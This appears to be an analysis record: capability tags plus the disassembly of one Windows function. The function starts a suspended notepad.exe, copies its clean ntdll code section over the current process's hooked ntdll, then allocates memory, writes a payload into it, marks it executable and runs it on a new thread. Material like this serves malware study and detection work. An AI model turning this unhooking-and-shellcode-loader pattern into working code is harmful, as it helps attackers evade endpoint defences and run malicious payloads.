Function at 0x1400017a5
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x138
movaps xmmword [rsp + 0x120], xmm6
mov rsi, rcx
call fcn.140001dee
xorps xmm0, xmm0
lea r12, [rsp + 0x80]
movaps xmmword [r12], xmm0
and qword [r12 + 0x10], 0
lea rax, [rsp + 0xb0]
movaps xmmword [rax], xmm0
movaps xmmword [rax + 0x60], xmm0
movaps xmmword [rax + 0x50], xmm0
movaps xmmword [rax + 0x40], xmm0
movaps xmmword [rax + 0x30], xmm0
movaps xmmword [rax + 0x20], xmm0
movaps xmmword [rax + 0x10], xmm0
mov dword [rax], 0x70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
and dword [rsp + 0x20], 0
lea rdx, str.notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateProcessA
mov rdi, qword [r12]
lea rcx, str.ntdll.dllC:WindowsSystem32_ntdll.dll0x
mov edx, 9
call fcn.140001bab
mov rbx, rax
lea rdx, [0x140072791]
lea r14, [rsp + 0xb0]
mov r8d, 0x1d
mov rcx, r14
call fcn.140002d0e
cmp qword [r14], 0
je 0x140001881
lea rcx, [rsp + 0xb8]
call fcn.1400011cb
jmp 0x14000196b
lea rdx, [rsp + 0xb8]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x80], xmm0
lea r14, [rsp + 0xa0]
mov rcx, r14
call fcn.140001714
lea rdx, [0x140072828]
mov rcx, r14
call fcn.14000129e
mov rcx, rax
call fcn.140002f5b
and qword [rsp + 0x68], 0
xor ecx, ecx
lea r8, [0x140072840]
cmp rcx, 5
je 0x1400018ea
mov r9b, byte [rcx + r8]
mov byte [rsp + rcx + 0x68], r9b
inc rcx
jmp 0x1400018d6
mov rcx, qword [rsp + 0x68]
add rax, 0xffffffffffffffd8
imul rdx, rdx, 0x28
test rdx, rdx
je 0x140001b64
lea r14, [rax + 0x28]
add rdx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rcx
mov rax, r14
jne 0x1400018f7
lea rdx, [0x140072860]
lea rcx, [rsp + 0xa0]
call fcn.14000129e
mov r8, rdx
lea r15, [rsp + 0x68]
mov rcx, r15
mov rdx, rax
mov r9, r14
call fcn.1400016f9
cmp qword [r15], 0
je 0x140001b7a
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
add rbx, rcx
mov qword [0x140080108], rax
mov qword [0x140080110], rbx
lea rcx, [rsp + 0x80]
call fcn.140002e37
lea rax, [0x140080110]
lea r14, [rsp + 0x80]
mov qword [r14], rax
lea rax, [0x1400727b0]
lea rdx, [rsp + 0xb0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [fcn.14001d730]
mov qword [r14 + 8], rcx
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x68]
call fcn.140018dd0
mov r8, qword [0x140080108]
mov rcx, r14
xor edx, edx
call fcn.1400014de
mov rdx, qword [0x140080110]
mov rbx, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
and qword [rsp + 0x20], 0
mov rcx, rdi
mov r8, rbx
mov r9, r14
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jne 0x140001b70
lea rax, str.___Restoring_Our_Proccesss_Ntdll.dll_.Text_Space_n
lea rcx, [rsp + 0xb0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm6, xmm6
movups xmmword [rcx + 0x18], xmm6
call fcn.14000ab70
mov rdx, qword [0x140080110]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, r14
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
jne 0x140001b70
lea rdi, [rsp + 0x80]
mov rcx, rdi
call fcn.14000174d
lea rbx, [rsp + 0x68]
mov rcx, rbx
call fcn.140001284
call fcn.140001dee
and qword [rbx], 0
lea r15, [rsp + 0xa0]
and dword [r15], 0
mov rbx, qword [rsi + 0x10]
mov qword [rdi], rbx
lea rdi, [rsp + 0xb0]
mov qword [rdi], rbx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r14, [rsp + 0x68]
mov rcx, 0xffffffffffffffff
mov rdx, r14
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [r14]
mov r8, qword [rsi + 8]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r9, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, r14
mov r9d, 0x20
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
and qword [rdi], 0
mov rax, qword [r14]
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x20], rax
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rsi]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
movaps xmm6, xmmword [rsp + 0x120]
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x140072848]
call fcn.140020790
mov ecx, 1
call fcn.14000ce10
mov al, byte [rsp + 0x70]
lea r8, [rsp + 0x67]
mov byte [r8], al
lea rax, [0x140072878]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueNullBoundsZeroFillUnmappedMisalignedBadMagicPeMagicInsanityInvalidOverflowEncodingAliasing
lea r9, [0x1400725d0]
mov edx, 0x2b
call fcn.140020b60
int3